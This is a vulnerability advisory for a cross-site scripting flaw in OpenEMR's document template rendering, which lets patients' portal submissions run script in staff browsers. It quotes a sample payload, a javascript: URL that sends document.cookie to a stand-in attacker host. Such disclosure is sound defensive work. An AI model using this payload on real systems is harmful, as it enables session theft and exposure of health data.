Cross-site scripting in OpenEMR - CVE-2026-126451
Published: November 10, 2026 / Updated: November 13, 2026
Vulnerability details
The vulnerability allows a remote user to execute JavaScript in staff browsers, disclose protected health information, and perform unauthorized actions with staff or administrator privileges.
The vulnerability exists due to improper URL scheme validation in OpenEMR's DocumentTemplateRender::doRender() when inserting patient-controlled encounterForm values into iframe sources after template sanitization. A remote user can submit or update portal documents containing javascript:fetch('https://attacker.example/x',{method:'POST',body:document.cookie}) and existing or injected template directives to execute scripts when staff review those documents.